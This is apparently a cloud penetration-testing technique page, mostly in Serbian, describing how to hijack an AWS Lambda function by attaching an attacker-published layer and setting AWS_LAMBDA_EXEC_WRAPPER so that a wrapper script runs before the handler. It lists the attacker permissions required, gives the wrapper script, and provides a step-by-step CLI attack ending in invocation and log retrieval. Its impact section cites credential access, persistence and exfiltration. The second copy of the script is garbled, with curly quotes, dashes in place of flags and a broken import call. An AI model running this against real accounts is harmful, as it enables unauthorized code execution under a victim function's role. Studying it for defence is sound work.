AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)

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Summary

Iskoristite promenljivu okruženja AWS_LAMBDA_EXEC_WRAPPER da izvršite wrapper skriptu pod kontrolom napadača pre nego što runtime/handler počne. Dostavite wrapper putem Lambda Layer-a na /opt/bin/htwrap, postavite AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap, i zatim pozovite funkciju. Wrapper se izvršava unutar procesa runtime-a funkcije, nasleđuje function execution role, i na kraju exec-uje stvarni runtime tako da originalni handler i dalje normalno radi.

Warning

Ova tehnika omogućava izvršavanje koda na ciljanoj Lambda bez menjanja njenog izvornog koda ili role i bez potrebe za iam:PassRole. Potrebna vam je samo mogućnost da ažurirate konfiguraciju funkcije i da objavite/prikačite layer.

Required Permissions (attacker)

  • lambda:UpdateFunctionConfiguration
  • lambda:GetFunctionConfiguration
  • lambda:InvokeFunction (ili pokretanje pomoću postojećeg eventa)
  • lambda:ListFunctions, lambda:ListLayers
  • lambda:PublishLayerVersion (u istom nalogu) i po potrebi lambda:AddLayerVersionPermission ako koristite cross-account/public layer

Wrapper Script

Postavite wrapper na /opt/bin/htwrap u layer-u. Može izvršavati logiku pre-handler-a i mora se završiti sa exec "$@" da bi se povezao na pravi runtime.

#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"

Koraci napada (CLI)

Objavite layer, prikačite ga na ciljnu funkciju, postavite wrapper, pozovite ```bash # Vars REGION=us-east-1 TARGET_FN=

1) Package wrapper at /opt/bin/htwrap

mkdir -p layer/bin cat > layer/bin/htwrap <<‘WRAP’ #!/bin/bash set -euo pipefail echo “[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION” python3 - <<‘PY’ import boto3, json print(‘[ht] sts identity:’, import(‘json’).dumps(import(‘boto3’).client(‘sts’).get_caller_identity())) PY exec “$@” WRAP chmod +x layer/bin/htwrap (zip -qr htwrap-layer.zip layer)

2) Publish the layer

LAYER_ARN=$(aws lambda publish-layer-version
–layer-name ht-exec-wrapper
–zip-file fileb://htwrap-layer.zip
–compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8
–query LayerVersionArn –output text –region “$REGION”)

echo “$LAYER_ARN”

3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER

aws lambda update-function-configuration
–function-name “$TARGET_FN”
–layers “$LAYER_ARN”
–environment “Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}”
–region “$REGION”

Wait for update to finish

until [ “$(aws lambda get-function-configuration –function-name “$TARGET_FN” –query LastUpdateStatus –output text –region “$REGION”)“ = “Successful” ]; do sleep 2; done

4) Invoke and verify via CloudWatch Logs

aws lambda invoke –function-name “$TARGET_FN” /tmp/out.json –region “$REGION” >/dev/null aws logs filter-log-events –log-group-name “/aws/lambda/$TARGET_FN” –limit 50 –region “$REGION” –query ‘events[].message’ –output text

</details>

## Uticaj

- Izvršavanje Pre-handler code u Lambda runtime kontekstu koristeći postojeći execution role funkcije.
- Nema potrebe za izmenama function code ili role; radi na uobičajenim managed runtimes (Python, Node.js, Java, .NET).
- Omogućava persistence, credential access (npr. STS), data exfiltration i runtime tampering pre nego što handler bude pokrenut.

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